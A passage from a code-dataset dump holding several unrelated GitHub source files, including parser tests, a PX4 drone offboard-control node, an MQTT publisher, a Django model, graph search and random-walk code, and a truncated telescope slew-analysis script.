result = Amply(\"param T := 4;\")['T']\n assert result != [4]\n result = Amply(\"param T{foo}; param T := 1 2;\")['T']\n assert not (result == 2)\n assert (result != 2)\n\ndef test_attr_access():\n result = Amply(\"param T:= 4;\").T\n assert result == 4\n\ndef test_from_file():\n try:\n s = StringIO(\"param T:= 4;\")\n except TypeError:\n s = StringIO(u\"param T:= 4;\")\n assert Amply.from_file(s).T == 4\n\ndef test_load_string():\n a = Amply(\"param T:= 4; param X{foo};\")\n a.load_string(\"param S := 6; param X := 1 2;\")\n assert a.T == 4\n assert a.S == 6\n assert a.X[1] == 2\n\ndef test_load_file():\n a = Amply(\"param T:= 4; param X{foo};\")\n try:\n s = StringIO(\"param S := 6; param X := 1 2;\")\n except TypeError:\n s = StringIO(u\"param S := 6; param X := 1 2;\")\n a.load_file(s)\n assert a.T == 4\n assert a.S == 6\n assert a.X[1] == 2\n\ndef test_empty_init():\n a = Amply()\n a.load_string(\"param T := 4;\")\n assert a.T == 4\n\ndef test_set_dimen2():\n result = Amply(\n \"\"\"\n set twotups dimen 2;\n set twotups := (1, 2) (2, 3) (4, 2) (3, 1);\n \"\"\"\n )['twotups']\n assert result == [(1, 2), (2, 3), (4, 2), (3, 1)]\n\ndef test_set_dimen_error():\n a = \"\"\"\n set dim1 dimen 1;\n set dim1 := (1, 2) (2, 3) (3, 2);\n \"\"\"\n assert_raises(AmplyError, lambda: Amply(a))\n\ndef test_set_dimen2_noparen():\n result = Amply(\n \"\"\"\n set twotups dimen 2;\n set twotups := 1 2 2 3 4 2 3 1;\n \"\"\"\n )['twotups']\n assert result == [(1, 2), (2, 3), (4, 2), (3, 1)]\n\ndef test_set_subscript():\n result = Amply(\n \"\"\"\n set days{months};\n set days[Jan] := 1 2 3 4;\n set days[Feb] := 5 6 7 8;\n \"\"\"\n )['days']\n j = result['Jan']\n assert j == [1, 2, 3, 4]\n f = result['Feb']\n assert f == [5, 6, 7, 8]\n\ndef test_set_subscript2():\n result = Amply(\n \"\"\"\n set days{months, days};\n set days[Jan, 3] := 1 2 3 4;\n set days[Feb, 'Ham '] := 5 6 7 8;\n \"\"\"\n )['days']\n j = result['Jan'][3]\n assert j == [1, 2, 3, 4]\n f = result['Feb']['Ham ']\n assert f == [5, 6, 7, 8]\n\ndef test_set_subscript2_tuples():\n result = Amply(\n \"\"\"\n set days{months, days};\n set days[Jan, 3] := 1 2 3 4;\n set days[Feb, 'Ham '] := 5 6 7 8;\n \"\"\"\n )['days']\n j = result['Jan', 3]\n assert j == [1, 2, 3, 4]\n f = result['Feb', 'Ham ']\n assert f == [5, 6, 7, 8]\n\ndef test_set_matrix():\n result = Amply(\n \"\"\"\n set A : 1 2 3 :=\n 1 + - -\n 2 + + -\n 3 - + -\n ;\n \"\"\"\n )\n a = result.A\n assert a == [(1, 1), (2, 1), (2, 2), (3, 2)]\n\ndef test_set_matrix_tr():\n result = Amply(\n \"\"\"\n set A (tr) : 1 2 3 :=\n 1 + - -\n 2 + + -\n 3 - + -\n ;\n \"\"\"\n )\n a = result.A\n assert a == [(1, 1), (1, 2), (2, 2), (2, 3)]\n\ndef test_set_splice():\n result = Amply(\n \"\"\"\n set A dimen 3;\n set A := (1, 2, 3), (1, 1, *) 2 4 (3, *, *) 1 1;\n \"\"\"\n )\n a = result.A\n assert a == [(1, 2, 3), (1, 1, 2), (1, 1, 4), (3, 1, 1)]\n\ndef test_set_splice_matrix():\n result = Amply(\n \"\"\"\n set A dimen 3;\n set A (1, *, *) : 1 2 3 :=\n 1 + - -\n 2 + - +\n 3 - - -\n (2, *, *) : 1 2 3 :=\n 1 + - +\n 2 - + -\n 3 - - +\n ;\n \"\"\"\n )\n a = result.A\n assert a == [(1,1,1),(1,2,1),(1,2,3),(2,1,1),(2,1,3),(2,2,2),\n (2,3,3)]\n\n\ndef test_simple_params():\n result = Amply(\"param T := 4;\")['T'] \n assert result == 4\n\n\ndef test_sub1_params():\n result = Amply(\n \"\"\"\n param foo {s};\n param foo := 1 Jan 2 Feb 3 Mar;\n \"\"\"\n )\n j = result['foo'][1]\n assert j == 'Jan'\n f = result['foo'][2] \n assert f == 'Feb'\n\ndef test_sub1_param_error():\n a = \"\"\"\n param foo{s};\n param foo := 1 Jan 2 Feb 3;\n \"\"\"\n assert_raises(AmplyError, lambda :Amply(a))\n\ndef test_param_default():\n result = Amply(\n \"\"\"\n param foo {s} default 3;\n param foo := Jan 1 Feb 2 Mar 3;\n \"\"\"\n )\n j = result['foo']['Jan']\n assert j == 1\n m = result['foo']['Mar']\n assert m == 3\n d = result['foo']['FOO']\n assert d == 3\n\ndef test_param_undefined():\n result = Amply(\n \"\"\"\n param foo {s} ;\n param foo := Jan 1 Feb 2 Mar 3;\n \"\"\"\n )\n j = result['foo']['Jan']\n assert j == 1\n assert_raises(KeyError, lambda : result['foo']['Apr'])\n\ndef test_sub2_params():\n result = Amply(\n \"\"\"\n param foo {s, t};\n param foo := 1 2 Hi 99 3 4;\n \"\"\"\n )\n h = result['foo'][1][2]\n assert h == 'Hi'\n f = result['foo'][99][3]\n assert f == 4\n\ndef test_2d_param():\n result = Amply(\n \"\"\"\n param demand {item, location};\n param demand\n : FRA DET LAN :=\n spoons 200 100 30 \n plates 30 120 90\n cups 666 13 29 ;\n \"\"\"\n )['demand']\n\n s = result['spoons']\n assert s == { 'FRA': 200, 'DET': 100, 'LAN': 30 }\n assert result['plates'] == { 'FRA': 30, 'DET': 120, 'LAN': 90 }\n assert result['cups'] == { 'FRA': 666, 'DET': 13, 'LAN': 29 }\n\ndef test_2d_numeric_param():\n result = Amply(\n \"\"\"\n param square {x, y};\n param square : 1 2 :=\n 4 4 8\n 3 3 6\n ;\n \"\"\"\n )['square']\n f = result[4, 1]\n assert f == 4\n assert result[4, 2] == 8\n assert result[3, 1] == 3\n assert result[3, 2] == 6\n\ndef test_2d_param_defaults():\n result = Amply(\n \"\"\"\n param demand {item, location};\n param demand default 42\n : FRA DET LAN :=\n spoons 200 . 30 \n plates 30 120 .\n cups . . 29 ;\n \"\"\"\n )['demand']\n\n s = result['spoons']\n assert s == { 'FRA': 200, 'DET': 42, 'LAN': 30 }\n assert result['plates'] == { 'FRA': 30, 'DET': 120, 'LAN': 42 }\n assert result['cups'] == { 'FRA': 42, 'DET': 42, 'LAN': 29 }\n\ndef test_2tables():\n result = Amply(\n \"\"\"\n param demand {item, location};\n param demand default 42\n : FRA DET LAN :=\n spoons 200 . 30 \n plates 30 120 .\n cups . . 29 \n ;\n\n param square {foo, foo};\n param square\n : A B :=\n A 1 6\n B 6 36\n ;\n \"\"\"\n )\n demand = result['demand']\n assert demand['spoons'] == {'FRA': 200, 'DET': 42, 'LAN': 30 }\n assert demand['plates'] == { 'FRA': 30, 'DET': 120, 'LAN': 42 }\n assert demand['cups'] == { 'FRA': 42, 'DET': 42, 'LAN': 29 }\n\n square = result['square']\n assert square['A'] == {'A': 1, 'B': 6}\n assert square['B'] == {'A': 6, 'B': 36}\n\n\ndef test_2d_param_transpose():\n result = Amply(\n \"\"\"\n param demand {location, item};\n param demand default 42 (tr)\n : FRA DET LAN :=\n spoons 200 . 30 \n plates 30 120 .\n cups . . 29 ;\n \"\"\"\n )['demand']\n\n f = result['FRA']\n assert f == { 'spoons': 200, 'plates': 30, 'cups': 42 }\n assert result['DET'] == { 'spoons': 42, 'plates': 120, 'cups': 42 }\n assert result['LAN'] == { 'spoons': 30, 'plates': 42, 'cups': 29 }\n\ndef test_2d_slice1():\n result = Amply(\n \"\"\"\n param demand {location, item};\n param demand :=\n [Jan, *] Foo 1 Bar 2;\n \"\"\"\n )['demand']\n f = result['Jan']['Foo']\n assert f == 1\n assert result['Jan']['Bar'] == 2\n\ndef test_3d_slice2():\n result = Amply(\n \"\"\"\n param trans_cost{src, dest, product};\n param trans_cost :=\n [*,*,bands]: FRA DET LAN :=\n GARY 30 10 8\n CLEV 22 7 10\n [*,*,coils]: FRA DET LAN :=\n GARY 39 14 11\n CLEV 27 9 12\n [*,*,plate]: FRA DET LAN :=\n GARY 41 15 12\n CLEV 29 9 13\n ;\n \"\"\"\n )['trans_cost']\n\n f = result['GARY']['FRA']['bands']\n assert f == 30\n assert result['GARY']['DET']['plate'] == 15\n assert result['CLEV']['LAN']['coils'] == 12\n\ndef test_3d_slice2b():\n result = Amply(\n \"\"\"\n param trans_cost{src, product, dest};\n param trans_cost :=\n [*,bands,*]: FRA DET LAN :=\n GARY 30 10 8\n CLEV 22 7 10\n [*,coils,*]: FRA DET LAN :=\n GARY 39 14 11\n CLEV 27 9 12\n [*,plate,*]: FRA DET LAN :=\n GARY 41 15 12\n CLEV 29 9 13\n ;\n \"\"\"\n )['trans_cost']\n\n f = result['GARY']['bands']['FRA']\n assert f == 30\n assert result['GARY']['plate']['DET'] == 15\n assert result['CLEV']['coils']['LAN'] == 12\n\ndef test_single_tabbing_data():\n result = Amply(\n \"\"\"\n set elem;\n param init_stock{elem};\n param cost{elem};\n param value{elem};\n param : init_stock cost value :=\n iron 7 25 1\n nickel 35 3 2\n ;\n \"\"\"\n )\n s = result['init_stock']\n assert s == {'iron': 7, 'nickel': 35}\n assert result['cost'] == {'iron': 25, 'nickel': 3}\n assert result['value'] == {'iron': 1, 'nickel': 2}\n\ndef test_single_tabbing_data_with_set():\n result = Amply(\n \"\"\"\n set elem;\n param init_stock{elem};\n param cost{elem};\n param value{elem};\n param : elem : init_stock cost value :=\n iron 7 25 1\n nickel 35 3 2\n ;\n \"\"\"\n )\n s = result['init_stock']\n assert s == {'iron': 7, 'nickel': 35}\n assert result['cost'] == {'iron': 25, 'nickel': 3}\n assert result['value'] == {'iron': 1, 'nickel': 2}\n\ndef test_set2_tabbing():\n result = Amply(\n \"\"\"\n set elem dimen 2;\n set elem := 0 0 1 1 2 2;\n param cost{elem};\n param value{elem};\n param : cost value :=\n 0 0 7 25\n 1 1 35 3\n ;\n \"\"\"\n )\n\n assert result['elem'] == [(0,0),(1,1),(2,2)]\n\ndef test_undefined_tabbing_param():\n assert_raises(AmplyError, lambda: Amply(\n \"\"\"\n param cost{elem};\n param : cost value :=\n 0 1 2\n 3 4 5\n ;\n \"\"\"\n ))\n\ndef test_2dset_simpleparam():\n result = Amply(\n \"\"\"\n set elem dimen 2;\n param foo{elem};\n param foo :=\n 1 2 3\n 2 3 4\n 3 4 5\n ;\n \"\"\"\n )['foo']\n\n f = result[1][2]\n assert f == 3\n assert result[2][3] == 4\n assert result[3][4] == 5\n\ndef test_tuple_param():\n result = Amply(\n \"\"\"\n set elem dimen 2;\n param foo{elem};\n param foo :=\n 1 2 3\n 2 3 4\n 3 4 5\n ;\n \"\"\"\n )['foo']\n\n f = result[1,2]\n assert f == 3\n assert result[2,3] == 4\n assert result[3,4] == 5\n\n\n","repo_name":"openstack-archive/deb-python-pulp","sub_path":"tests/amply_tests.py","file_name":"amply_tests.py","file_ext":"py","file_size_in_byte":12163,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"75"} +{"seq_id":"36854634771","text":"#!/usr/bin/env python\n\nimport rclpy\nimport numpy as np\nfrom rclpy.node import Node\nfrom rclpy.clock import Clock\nfrom rclpy.qos import QoSProfile, QoSReliabilityPolicy, QoSHistoryPolicy, QoSDurabilityPolicy\n\nfrom px4_msgs.msg import OffboardControlMode, TrajectorySetpoint, VehicleCommand, VehicleControlMode, VehicleStatus\n\n\nclass OffboardControl(Node):\n\n def __init__(self):\n print(\"start init\")\n super().__init__('minimal_publisher')\n \n qos = QoSProfile(\n reliability=QoSReliabilityPolicy.RMW_QOS_POLICY_RELIABILITY_BEST_EFFORT,\n durability=QoSDurabilityPolicy.RMW_QOS_POLICY_DURABILITY_TRANSIENT_LOCAL,\n history=QoSHistoryPolicy.RMW_QOS_POLICY_HISTORY_KEEP_LAST,\n depth=1\n )\n \n self.status_sub = self.create_subscription(\n VehicleStatus,\n '/fmu/out/vehicle_status',\n self.vehicle_status_callback,\n qos)\n \n self.offboard_control_mode_publisher_ = self.create_publisher(OffboardControlMode, '/fmu/in/offboard_control_mode', qos)\n self.trajectory_setpoint_publisher_ = self.create_publisher(TrajectorySetpoint, '/fmu/in/trajectory_setpoint', qos)\n self.vehicle_command_publisher_ = self.create_publisher(VehicleCommand, '/fmu/in/vehicle_command', qos)\n\n self.nav_state = VehicleStatus.NAVIGATION_STATE_MAX\n\n timer_period = 0.02 # seconds\n self.dt = timer_period\n self.theta = 0.0\n self.radius = 10.0\n self.omega = 0.5\n \n self.timer = self.create_timer(timer_period, self.timer_callback)\n\n self.offboard_setpoint_counter_ = 0\n\n def timer_callback(self):\n if self.offboard_setpoint_counter_ == 50:\n # Change to Offboard mode after 50 setpoints (1s)\n self.engage_offBoard_mode()\n \n # Arm the vehicle\n self.arm()\n \n if self.offboard_setpoint_counter_ == 1650:\n # Land and cancel timer after (33s)\n self.land()\n self.timer.cancel()\n \n if self.offboard_setpoint_counter_ < 550:\n # offboard_control_mode needs to be paired with trajectory_setpoint\n print(\"start counter\")\n self.publish_offboard_control_mode()\n if self.nav_state == VehicleStatus.NAVIGATION_STATE_OFFBOARD:\n self.publish_trajectory_setpoint()\n self.offboard_setpoint_counter_ += 1\n\n if self.offboard_setpoint_counter_ >= 550 and self.offboard_setpoint_counter_ < 1650:\n # offboard_control_mode needs to be paired with trajectory_setpoint\n print(\"start counter\")\n self.publish_offboard_control_mode()\n if self.nav_state == VehicleStatus.NAVIGATION_STATE_OFFBOARD:\n self.publish_trajectory_setpoint_circle()\n self.offboard_setpoint_counter_ += 1\n\n def vehicle_status_callback(self, msg):\n print(\"NAV_STATUS: \", msg.nav_state)\n print(\" - offboard status: \", VehicleStatus.NAVIGATION_STATE_OFFBOARD)\n self.nav_state = msg.nav_state\n\n\n def arm(self):\n print(\"Arm command sent\")\n msg = VehicleCommand()\n msg.param1 = 1.0\n msg.command = VehicleCommand.VEHICLE_CMD_COMPONENT_ARM_DISARM\n self.publish_vehicle_command(msg)\n\n def disarm(self):\n print('Disarm command sent')\n msg = VehicleCommand()\n msg.command = VehicleCommand.VEHICLE_CMD_COMPONENT_ARM_DISARM\n self.publish_vehicle_command(msg)\n \n def land(self):\n print('Land command sent')\n msg = VehicleCommand()\n msg.command = VehicleCommand.VEHICLE_CMD_NAV_LAND\n self.publish_vehicle_command(msg)\n \n def publish_offboard_control_mode(self):\n msg = OffboardControlMode()\n msg.position = True\n msg.velocity = False\n msg.acceleration = False\n msg.attitude = False\n msg.body_rate = False\n msg.timestamp = int(Clock().now().nanoseconds / 1000)\n self.offboard_control_mode_publisher_.publish(msg)\n \n def engage_offBoard_mode(self):\n print('Offboard mode command sent')\n msg = VehicleCommand()\n msg.param1 = 1.0\n msg.param2 = 6.0\n msg.command = VehicleCommand.VEHICLE_CMD_DO_SET_MODE\n msg.target_system = 1\n msg.target_component = 1\n msg.source_system = 1\n msg.source_component = 1\n msg.from_external = True\n self.publish_vehicle_command(msg)\n \n def publish_trajectory_setpoint(self):\n msg = TrajectorySetpoint()\n \n msg.position = [0.0, 0.0, -5.0]\n msg.yaw = -3.14\n \n msg.timestamp = int(Clock().now().nanoseconds / 1000)\n self.trajectory_setpoint_publisher_.publish(msg)\n\n \n def publish_trajectory_setpoint_circle(self):\n msg = TrajectorySetpoint()\n \n msg.position[0] = self.radius * np.cos(self.theta)\n msg.position[1] = self.radius * np.sin(self.theta)\n msg.position[2] = -5.0\n \n msg.timestamp = int(Clock().now().nanoseconds / 1000)\n self.trajectory_setpoint_publisher_.publish(msg)\n \n self.theta = self.theta + self.omega * self.dt\n\n def publish_vehicle_command(self, msg):\n msg.timestamp = int(Clock().now().nanoseconds / 1000)\n self.vehicle_command_publisher_.publish(msg)\n\n\ndef main(args=None):\n rclpy.init(args=args)\n\n print(\"start main\")\n \n offboard_control = OffboardControl()\n \n \n\n rclpy.spin(offboard_control)\n\n offboard_control.destroy_node()\n rclpy.shutdown()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"lhseop0710/px4_ros2_xrcedds","sub_path":"offboard_control.py","file_name":"offboard_control.py","file_ext":"py","file_size_in_byte":5693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"70581278641","text":"import paho.mqtt.client as mqtt\nimport datetime\nimport json\n\ndef on_connect(client, userdata, flags, rc):\n print(\"Connected with result code \"+str(rc))\ndef on_message(client, userdata, msg):\n print(msg.topic+\" \"+str(msg.payload))\n\nclient = mqtt.Client()\nclient.on_connect = on_connect\nclient.on_message = on_message\n\nclient.connect(\"localhost\", 1883, 60)\npayload_json = {\n \"name\": \"Package D\",\n \"status\": True,\n \"position\": \"B2-5\",\n \"timestamp\": datetime.datetime.now().strftime(\"%Y-%m-%dT%H:%M:%S.%f\"),\n \"image\": \"https://media.istockphoto.com/photos/cardboard-box-isolated-on-white-background-with-clipping-path-picture-id1282219840?b=1&k=20&m=1282219840&s=170667a&w=0&h=FAo7lLqh8cmjPzAmXMjnsVx-fZxBn1iEmchcAH_jQTw=\",\n \"batch\": 4\n}\nprint(payload_json)\npayload_msg = json.dumps(payload_json)\nres = client.publish(\"drone\", payload_msg, qos=1)\n","repo_name":"dionesiusap/warehouse-inspector-be","sub_path":"mqtt_pub.py","file_name":"mqtt_pub.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"37971135413","text":"import uuid\n\nfrom django.conf import settings\nfrom django.contrib.postgres.fields import JSONField\nfrom django.db import models\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom core.models import TimeStampedModel\n\n\nclass Entity(TimeStampedModel):\n \"\"\"\n Survey Entity model class\n\n Defines people, organizations, or teams—any person or group who\n might have, receive, or share information in survey context.\n\n Once added, survey will ask Respondents which entities\n might have, receive, or share information. They will choose that entity\n from a list of options provided by a survey.\n \"\"\"\n\n #: Global unique identifier for an entity.\n uuid = models.UUIDField(\n _('UUID'),\n default=uuid.uuid4,\n editable=False,\n unique=True\n )\n\n #: Survey under which an entity belongs to.\n survey = models.ForeignKey(\n 'surveys.Survey',\n related_name='entities',\n related_query_name='entity',\n verbose_name=_('survey'),\n on_delete=models.CASCADE,\n )\n\n #: Hierarchy level under which an entity belongs to.\n hierarchy_level = models.ForeignKey(\n 'surveys.HierarchyLevel',\n verbose_name=_('hierarchy level'),\n related_name='entities',\n related_query_name='entity',\n on_delete=models.CASCADE,\n null=True\n )\n\n #: Human readable name of an entity.\n name = models.CharField(_('name'), max_length=255)\n\n #: Human readable, brief details about an entity.\n description = models.TextField(_('description'), blank=True)\n\n #: User who created(or owning) an entity\n creator = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n verbose_name=_('creator'),\n blank=True,\n related_name='created_survey_entities',\n related_query_name='created_survey_entity',\n on_delete=models.CASCADE\n )\n\n #: Extra entity fields.\n extras = JSONField(_('extras'), blank=True, default=dict)\n\n class Meta:\n verbose_name = _('Entity')\n verbose_name_plural = _('Entities')\n ordering = ['id']\n\n def __str__(self):\n \"\"\"Returns string representation of an entity\"\"\"\n return self.name\n","repo_name":"IREXorg/data-compass","sub_path":"apps/surveys/models/entity.py","file_name":"entity.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"25258827641","text":"import numpy as np\r\nimport copy\r\n\r\n# travel cost on each type of terrain\r\nPATH_COST = {\"#\": None, \"~\": 800, \"*\": 200, \"+\": 150, \"X\": 120, \"_\": 100, \"H\": 70, \"T\": 50, \"O\": 0}\r\n\r\n# moves definition\r\nMOVES = {\"U\": (-1, 0), \"D\": (1, 0), \"R\": (0, 1), \"L\": (0, -1)}\r\n\r\n\r\ndef read_map(path):\r\n m_array = []\r\n c_dict = {}\r\n with open(path, \"r\") as f:\r\n n, m, c, r = map(int, f.readline().strip(\"\\n\").split(\" \"))\r\n for i in range(c):\r\n line = list(map(int, f.readline().split(\" \")))\r\n # key: (x, y) value: reward points\r\n c_dict[(line[1], line[0])] = line[2]\r\n # create map object\r\n for line in f.readlines():\r\n row = []\r\n for char in line.strip(\"\\n\"):\r\n row.append(char)\r\n m_array.append(row)\r\n return n, m, c, r, c_dict, np.array(m_array)\r\n\r\n\r\ndef insert_C(m, coord):\r\n for c in coord:\r\n m[c[0], c[1]] = \"C\"\r\n return m\r\n\r\n\r\ndef reverse_seq(seq):\r\n res = \"\"\r\n dic = {\"R\": \"L\", \"L\": \"R\", \"U\": \"D\", \"D\": \"U\"}\r\n for s in seq:\r\n res += dic[s]\r\n return res\r\n\r\n\r\nclass Node:\r\n def __init__(self, pos, seq, g):\r\n self.x = pos[1]\r\n self.y = pos[0]\r\n self.seq = seq\r\n self.g = g\r\n\r\n\r\n# uniform cost search to build office\r\ndef ucs_office(root, mapp, checked, n, m):\r\n frontier = [root]\r\n visited = []\r\n\r\n while(frontier):\r\n # find most promising node\r\n min_cost = 100000000000\r\n min_index = None\r\n for i in range(len(frontier)):\r\n if frontier[i].g < min_cost:\r\n min_cost = frontier[i].g\r\n min_index = i\r\n # pop and return best node\r\n node = frontier.pop(min_index)\r\n # elimination of repeated states\r\n if (node.y, node.x) not in visited:\r\n visited.append((node.y, node.x))\r\n # goal test\r\n if mapp[node.y, node.x] not in [\"#\", \"C\"] and checked[node.y, node.x] != \"O\":\r\n return node\r\n # expand node\r\n for move, direc in MOVES.items():\r\n posx = node.x + direc[1]\r\n posy = node.y + direc[0]\r\n if posx >= 0 and posx < n and posy >= 0 and posy < m:\r\n terrain = mapp[posy, posx]\r\n # if terrain is walkable\r\n if terrain not in [\"#\", \"C\"]:\r\n seq = node.seq + move\r\n cost = node.g + PATH_COST[terrain]\r\n frontier.append(Node(pos=(posy, posx), seq=seq, g=cost))\r\n\r\n\r\n# uniform cost search to reach nearest office\r\ndef ucs_customer(root, mapp, n, m):\r\n frontier = [root]\r\n visited = []\r\n\r\n while(frontier):\r\n # find most promising node\r\n min_cost = 100000000000\r\n min_index = None\r\n for i in range(len(frontier)):\r\n if frontier[i].g < min_cost:\r\n min_cost = frontier[i].g\r\n min_index = i\r\n # pop and return best node\r\n node = frontier.pop(min_index)\r\n # elimination of repeated states\r\n if (node.y, node.x) not in visited:\r\n visited.append((node.y, node.x))\r\n # goal test\r\n if mapp[node.y, node.x] == \"O\":\r\n return node\r\n # expand node\r\n for move, direc in MOVES.items():\r\n posx = node.x + direc[1]\r\n posy = node.y + direc[0]\r\n if posx >= 0 and posx < n and posy >= 0 and posy < m:\r\n terrain = mapp[posy, posx]\r\n # if terrain is walkable\r\n if terrain not in [\"#\", \"C\"]:\r\n seq = node.seq + move\r\n cost = node.g + PATH_COST[terrain]\r\n frontier.append(Node(pos=(posy, posx), seq=seq, g=cost))\r\n return None\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n path_1 = \"1_victoria_lake.txt\"\r\n path_2 = \"2_himalayas.txt\"\r\n path_3 = \"3_budapest.txt\"\r\n path_4 = \"4_manhattan.txt\"\r\n path_5 = \"5_oceania.txt\"\r\n\r\n # extract variables of interest from txt file\r\n N, M, C, R, COORD, MAP = read_map(path_5)\r\n\r\n # update map with customer office \"C\"\r\n MAP = insert_C(MAP, COORD.keys())\r\n\r\n # copy of map to check locations\r\n C_MAP = copy.deepcopy(MAP)\r\n\r\n # first naive solution\r\n offices = []\r\n for i in range(R):\r\n # find best location for office\r\n max_reward = -100000000000\r\n max_pos = None\r\n max_seq = None\r\n max_place = None\r\n for pos, reward in COORD.items():\r\n root = Node(pos=pos, seq=\"\", g=0)\r\n node = ucs_office(root, MAP, C_MAP, N, M)\r\n val = reward - node.g\r\n if val > max_reward:\r\n max_reward = val\r\n max_pos = (node.y, node.x)\r\n max_seq = reverse_seq(node.seq)\r\n max_place = pos\r\n # update map with office\r\n C_MAP[max_pos[0], max_pos[1]] = \"O\"\r\n offices.append((max_pos[0], max_pos[1]))\r\n\r\n print(max_pos[1], max_pos[0], max_seq)\r\n","repo_name":"Manucar/reply-code-challenge-2019","sub_path":"first_solution.py","file_name":"first_solution.py","file_ext":"py","file_size_in_byte":5084,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"14487139515","text":"from random import randint\n\nsides = input(\"Enter number of sides: \")\n\npl_1 = input(\"Enter the name of Player 1: \")\npl_2 = input(\"Enter the name of Player 2: \")\n\n\ndice_1 = randint(1, int(sides))\ndice_2 = randint(1, int(sides))\n\nprint (pl_1 + \" rolled: \" + str(dice_1))\nprint (pl_2 + \" rolled: \" + str(dice_2))\n\nif dice_1 > dice_2:\n print(\"Winner is: \" + pl_1)\nelif dice_1 < dice_2:\n print(\"Winer is: \" + pl_2)\nelse:\n print(\"Tie\")\n \n","repo_name":"sivilov-d/HackBulgaria","sub_path":"week1/2-If-Elif-Else-Simple-Problems/dice_game.py","file_name":"dice_game.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26526299070","text":"import random\n\nfrom six import iterkeys\nfrom collections import defaultdict\n\n\nclass Graph(defaultdict):\n \"\"\"\n 记录图信息(字典,k=node, v=[sub1, sub2...])\n \"\"\"\n def __init__(self):\n super(Graph, self).__init__(list)\n\n def nodes(self):\n \"\"\"\n 图中所有的节点\n :return:\n \"\"\"\n return self.keys()\n\n def make_consistent(self):\n \"\"\"\n 使记录一致(对value进行排序)\n :return:\n \"\"\"\n for k in iterkeys(self):\n self[k] = list(sorted(set(self[k])))\n\n self.remove_self_loops()\n return self\n\n def remove_self_loops(self):\n \"\"\"\n 移除自循环(value中的key)\n :return:\n \"\"\"\n for x in self:\n if x in self[x]:\n self[x].remove(x)\n\n return self\n\n def random_walk(self, path_length, alpha=0, rand=random.Random(), start=None):\n \"\"\"\n 被截断的随机游走\n :param path_length: 随机游走的长度\n :param alpha: 重新开始的概率\n :param rand:\n :param start: 随机游走的起始节点。\n :return:\n \"\"\"\n graph_dict = self\n if start:\n path = [start]\n else:\n path = [rand.choice(list(graph_dict.keys()))]\n\n while len(path) < path_length:\n current_node = path[-1]\n if len(graph_dict[current_node]) > 0:\n if rand.random() >= alpha:\n path.append(rand.choice(graph_dict[current_node]))\n else:\n path.append(path[0])\n else:\n break\n\n return [str(node) for node in path]\n\n\ndef load_edgelist(file):\n \"\"\"\n 加载CFG\n :param file:\n :return:\n \"\"\"\n graph_dict = Graph()\n with open(file) as edglist_file:\n for line in edglist_file:\n x, y = line.strip().split()[:2]\n x = int(x)\n y = int(y)\n graph_dict[x].append(y)\n\n graph_dict.make_consistent()\n return graph_dict\n\n\ndef build_deepwalk_corpus(graph_dict, num_paths, path_length, alpha, rand=random.Random(0)):\n \"\"\"\n 进行随机游走\n :param graph_dict:\n :param num_paths:\n :param path_length:\n :param alpha:\n :param rand:\n :return:\n \"\"\"\n walks = []\n nodes = list(graph_dict.nodes())\n\n for cnt in range(num_paths):\n rand.shuffle(nodes)\n for node in nodes:\n walks.append(graph_dict.random_walk(path_length, rand=rand, alpha=alpha, start=node))\n\n return walks","repo_name":"dalonglongs/binary_code","sub_path":"GAM/deepwalk/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":2580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27795936113","text":"# MTMount data extraction script for LSST SITCOM test\n# LVV-TXXX:\n# LVV-TXXX tests verification element LVV-YYY, \n# which verifies requirement LTS-REQ-00ZZ-V-0Z: 2.2.2 Slewing Rates in LTS-103\n\"\"\"\nExtracts MTMount data from the EFD and computes spline profiles for identified \n-m 1 : is method 1 identifying slews based of of efd log events and is\n reccomended\n-m 2: is method 2 where slews are identified soley from tma encoder data\nslews\n Example usage:\n ```\n Test data range \n python -W ignore create_slew_profiles.py -d 2023-03-23 -w 10 -m 1\n \n 1 night of data (-w controls window in hours)\n python -W ignore create_slew_profiles.py -d 2023-03-23 -w 24 -m 1\n \n ```\n\"\"\"\nimport argparse\nimport asyncio\nimport os\n\nimport astropy.time \nimport astropy.units as u\nfrom astropy.time import Time, TimeDelta\nfrom lsst.sitcom import vandv\nimport numpy as np\n\nfrom datetime import datetime\nimport pandas as pd\nfrom matplotlib import pyplot\nfrom lsst_efd_client import EfdClient\nfrom scipy.interpolate import UnivariateSpline\nfrom scipy.signal import find_peaks\nfrom scipy.signal import savgol_filter\nfrom scipy.interpolate import interp1d\nimport json \n\n\nclass create_slew_splines():\n def __init__(self,start_time,end_time,force,output_dir, fit_method=\"splines\"):\n self.start_time=start_time\n self.end_time=end_time\n self.force=force\n self.output_dir=output_dir\n self.smoothingFactor=0.2 # In spline creation\n self.kernel_size=100 # In convolution\n self.buffer = 4\n self.return_meas=True\n self.day=self.start_time.iso[:10]\n self.fit_method=fit_method # either splines or savgol\n self.window = 400 # savgol window size\n \n def get_slew_pairs(self,starts,stops):\n \"\"\"\n Given vectors of start times and stop times take the longer vector \n and iterate over it. If that is starts for each start time select all stop\n times that are > than the start time and < than the next start time. \n If multiple stops are detected select the minimum one. Also keeps track and\n returns the unmatched start and stop times. \n \"\"\"\n new_starts=[]\n new_stops=[]\n unmatched_stops=[]\n unmatched_starts=[]\n\n if len(stops) <= len(starts):\n for i in range(len(starts)):\n if i == len(starts)-1:\n stop_sel=(stops > starts[i])\n else: \n stop_sel=(stops > starts[i]) & (stops < starts[i+1])\n if stop_sel.sum()==1:\n new_stops.append(stops[stop_sel][0])\n new_starts.append(starts[i])\n if stop_sel.sum() > 1:\n new_stops.append(np.min(stops[stop_sel]))\n new_starts.append(starts[i])\n for j in stops[stop_sel]: \n if j != np.min(stops[stop_sel]):\n unmatched_stops.append(j)\n if 